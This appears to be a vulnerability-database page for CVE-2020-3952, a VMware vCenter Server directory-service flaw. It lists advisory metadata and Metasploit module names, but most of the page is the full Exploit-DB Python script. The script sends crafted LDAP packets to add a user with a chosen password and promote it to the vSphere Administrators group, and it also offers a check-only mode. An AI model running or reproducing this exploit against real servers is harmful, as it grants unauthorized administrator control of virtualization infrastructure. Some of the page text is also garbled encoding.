CVE-2020-3952

unknown KEV
Published 2021-11-03 ยท Modified 2021-11-03
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
2.5

Description

VMware vCenter Server contains an information disclosure vulnerability in the VMware Directory Service (vmdir) when the Platform Services Controller (PSC) does not correctly implement access controls. Successful exploitation allows an attacker with network access to port 389 to extract sensitive information.

CISA KEV

Vendor
VMware
Product
vCenter Server
Due date
2022-05-03

Predictions

Exploit likelihood
99%
Patch ETA
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Mitigations

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Exploits

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Exploit-DB

EDB-48535 webapps multiple text ยท 10 KB
Photubias ยท 2020-06-01

VMware vCenter Server 6.7 - Authentication Bypass

text exploit Source: Exploit-DB
# Exploit Title: VMware vCenter Server 6.7 - Authentication Bypass
# Date: 2020-06-01
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2020-0006.html
# Version: vCenter Server 6.7 before update 3f
# Tested on: vCenter Server Appliance 6.7 RTM (updated from v6.0)
# CVE: CVE-2020-3952

#!/usr/bin/env python3

'''
	Copyright 2020 Photubias(c)        
        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
        
        Based (and reverse engineerd from): https://github.com/guardicore/vmware_vcenter_cve_2020_3952
        
        File name CVE-2020-3592.py
        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
        
        ## Vulnerable setup (requirements): vCenter Server 6.7 that was upgraded from 6.x
        
        This is a native implementation without requirements, written in Python 3.
        Works equally well on Windows as Linux (as MacOS, probably ;-)

        Features: exploit + vulnerability checker
'''

import binascii, socket, sys, string, random

## Default vars; change at will
_sIP = '192.168.50.35'
_iPORT = 389
_iTIMEOUT = 5

def randomString(iStringLength=8):
    #sLetters = string.ascii_lowercase
    sLetters = string.ascii_letters
    return ''.join(random.choice(sLetters) for i in range(iStringLength))

def getLengthPrefix(sData, sPrefix, hexBytes=1): ## sData is hexlified
    ## This will calculate the length of the string, and verify if an additional '81' or '82' prefix is needed
    sReturn = sPrefix
    if (len(sData) / 2 ) > 255:
        sReturn  += b'82'
        hexBytes = 2
    elif (len(sData) /2 ) >= 128:
        sReturn += b'81'
    sReturn += f"{int(len(sData)/2):#0{(hexBytes*2)+2}x}"[2:].encode()
    return sReturn

def buildBindRequestPacket(sUser, sPass):
    sUser = binascii.hexlify(sUser.encode())
    sPass = binascii.hexlify(sPass.encode())
    ## Packet Construction
    sPacket = getLengthPrefix(sPass, b'80') + sPass
    sPacket = getLengthPrefix(sUser, b'04') + sUser + sPacket
    sPacket = b'020103' + sPacket
    sPacket = getLengthPrefix(sPacket, b'60') + sPacket
    sPacket = b'020101' + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    #print(sPacket)
    return binascii.unhexlify(sPacket)    

def buildUserCreatePacket(sUser, sPass):
    sUser = binascii.hexlify(sUser.encode())
    sPass = binascii.hexlify(sPass.encode())
    def createAttribute(sName, sValue):
        sValue = getLengthPrefix(sValue, b'04') + sValue
        sName = getLengthPrefix(sName, b'04') + sName
        
        sReturn = getLengthPrefix(sValue, b'31') + sValue
        sReturn = sName + sReturn
        sReturn = getLengthPrefix(sReturn, b'30') + sReturn
        return sReturn
    
    def createObjectClass():
        sReturn = getLengthPrefix(binascii.hexlify(b'top'), b'04') + binascii.hexlify(b'top')
        sReturn += getLengthPrefix(binascii.hexlify(b'person'), b'04') + binascii.hexlify(b'person')
        sReturn += getLengthPrefix(binascii.hexlify(b'organizationalPerson'), b'04') + binascii.hexlify(b'organizationalPerson')
        sReturn += getLengthPrefix(binascii.hexlify(b'user'), b'04') + binascii.hexlify(b'user')
        
        sReturn = getLengthPrefix(sReturn, b'31') + sReturn
        sReturn = getLengthPrefix(binascii.hexlify(b'objectClass'), b'04') + binascii.hexlify(b'objectClass') + sReturn
        sReturn = getLengthPrefix(sReturn, b'30') + sReturn
        return sReturn
    
    ## Attributes
    sAttributes = createAttribute(binascii.hexlify(b'vmwPasswordNeverExpires'), binascii.hexlify(b'True'))
    sAttributes += createAttribute(binascii.hexlify(b'userPrincipalName'), sUser + binascii.hexlify(b'@VSPHERE.LOCAL'))
    sAttributes += createAttribute(binascii.hexlify(b'sAMAccountName'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'givenName'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'sn'), binascii.hexlify(b'vsphere.local'))
    sAttributes += createAttribute(binascii.hexlify(b'cn'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'uid'), sUser)
    sAttributes += createObjectClass()
    sAttributes += createAttribute(binascii.hexlify(b'userPassword'), sPass)
    ## CN
    sCN = binascii.hexlify(b'cn=') + sUser + binascii.hexlify(b',cn=Users,dc=vsphere,dc=local')
    sUserEntry = getLengthPrefix(sCN, b'04') + sCN
    
    ## Packet Assembly (bottom up)
    sPacket = getLengthPrefix(sAttributes, b'30') + sAttributes
    sPacket = sUserEntry + sPacket
    sPacket = getLengthPrefix(sPacket, b'02010268', 2) + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    #print(sPacket)
    return binascii.unhexlify(sPacket)

def buildModifyUserPacket(sUser):
    sFQDN = binascii.hexlify(('cn=' + sUser + ',cn=Users,dc=vsphere,dc=local').encode())
    sCN = binascii.hexlify(b'cn=Administrators,cn=Builtin,dc=vsphere,dc=local')
    sMember = binascii.hexlify(b'member')
    ## Packet Construction
    sPacket = getLengthPrefix(sFQDN, b'04') + sFQDN
    sPacket = getLengthPrefix(sPacket, b'31') + sPacket
    sPacket = getLengthPrefix(sMember, b'04') + sMember + sPacket
    sPacket = getLengthPrefix(sPacket, b'0a010030') + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    sPacket = getLengthPrefix(sCN, b'04') + sCN + sPacket
    sPacket = getLengthPrefix(sPacket, b'02010366') + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    #print(sPacket)
    return binascii.unhexlify(sPacket)

def performBind(s):
    ## Trying to bind, fails, but necessary (even fails when using correct credentials)
    dPacket = buildBindRequestPacket('Administrator@vsphere.local','www.IC4.be')
    s.send(dPacket)
    sResponse = s.recv(1024)
    try:
        sResponse = sResponse.split(b'\x04\x00')[0][-1:]
        sCode = binascii.hexlify(sResponse).decode()
        if sCode == '31': print('[+] Ok, service reachable, continuing')
        else: print('[-] Something went wrong')
    except:
        pass
    return sCode

def performUserAdd(s, sUser, sPass):
    dPacket = buildUserCreatePacket(sUser,sPass)
    s.send(dPacket)
    sResponse = s.recv(1024)
    try:
        sCode = sResponse.split(b'\x04\x00')[0][-1:]
        sMessage = sResponse.split(b'\x04\x00')[1]
        if sCode == b'\x00':
            print('[+] Success! User ' + sUser + '@vsphere.local added with password ' + sPass)
        elif sCode == b'\x32':
            print('[-] Error, this host is not vulnerable (insufficientAccessRights)')
        else:
            if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
            else: sMessage = sMessage[2:].decode()
            print('[-] Error, user not added, message received: ' + sMessage)
    except:
        pass
    return sCode
    

def performUserMod(s, sUser, verbose = True):
    dPacket = buildModifyUserPacket(sUser)
    s.send(dPacket)
    sResponse = s.recv(1024)
    try:
        sCode = sResponse.split(b'\x04\x00')[0][-1:]
        sMessage = sResponse.split(b'\x04\x00')[1]
        if sCode == b'\x00':
            if verbose: print('[+] User modification success (if the above is OK).')
        else:
            if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
            else: sMessage = sMessage[2:].decode()
            if verbose: print('[-] Error during modification, message received: ' + sMessage)
    except:
        pass
    return sCode, sMessage

def performUnbind(s):
    try: s.send(b'\x30\x05\x02\x01\x04\x42\x00')
    except: pass

def main():
    global _sIP, _iPORT, _iTIMEOUT
    _sUSER = 'user_' + randomString(6)
    _sPASS = randomString(8) + '_2020'
    bAdduser = False
    if len(sys.argv) == 1:
        print('[!] No arguments found: python3 CVE-2020-3592.py <dstIP> [<newUsername>] [<newPassword>]')
        print('    Example: ./CVE-2020-3592.py ' + _sIP + ' ' + _sUSER + ' ' + _sPASS)
        print('    Leave username & password empty for a vulnerability check')
        print('    Watch out for vCenter/LDAP password requirements, leave empty for random password')
        print('    But for now, I will ask questions')
        sAnswer = input('[?] Please enter the vCenter IP address [' + _sIP + ']: ')
        if not sAnswer == '': _sIP = sAnswer
        sAnswer = input('[?] Want to perform a check only? [Y/n]: ')
        if sAnswer.lower() == 'n': bAdduser = True
        if bAdduser:
            sAnswer = input('[?] Please enter the new username to add [' + _sUSER + ']: ')
            if not sAnswer == '': _sUSER = sAnswer
            sAnswer = input('[?] Please enter the new password for this user [' + _sPASS + ']: ')
            if not sAnswer == '': _sPASS = sAnswer
    else:
        _sIP = sys.argv[1]
        if len(sys.argv) >= 3:
            _sUSER = sys.argv[2]
            bAdduser = True
        if len(sys.argv) >= 4: _sPASS = sys.argv[3]

    ## MAIN
    print('')
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(_iTIMEOUT)
    try:
        s.connect((_sIP,_iPORT))
    except:
        print('[-] Error: Host ' + _sIP + ':' + str(_iPORT) + ' not reachable')
        sys.exit(1)

    performBind(s)

    if bAdduser:
        sCode = performUserAdd(s, _sUSER, _sPASS)

    if not bAdduser:
        print('[!] Checking vulnerability')
        sCode, sMessage = performUserMod(s, 'Administrator', False)
        if sCode == b'\x32': print('[-] This host is not vulnerable, message: ' + sMessage)
        else: print('[+] This host is vulnerable!')
    else:
        sCode = performUserMod(s, _sUSER)
    
    performUnbind(s)
    
    s.close()


if __name__ == "__main__":
    main()

Metasploit modules

VMware vCenter Server vmdir Authentication Bypass
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VMware vCenter Server vmdir Information Disclosure
Source fetch failed: fetch_error โ€” view the original via the link above.

References

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Verify integrity in audit chain (admin only). AS-IS.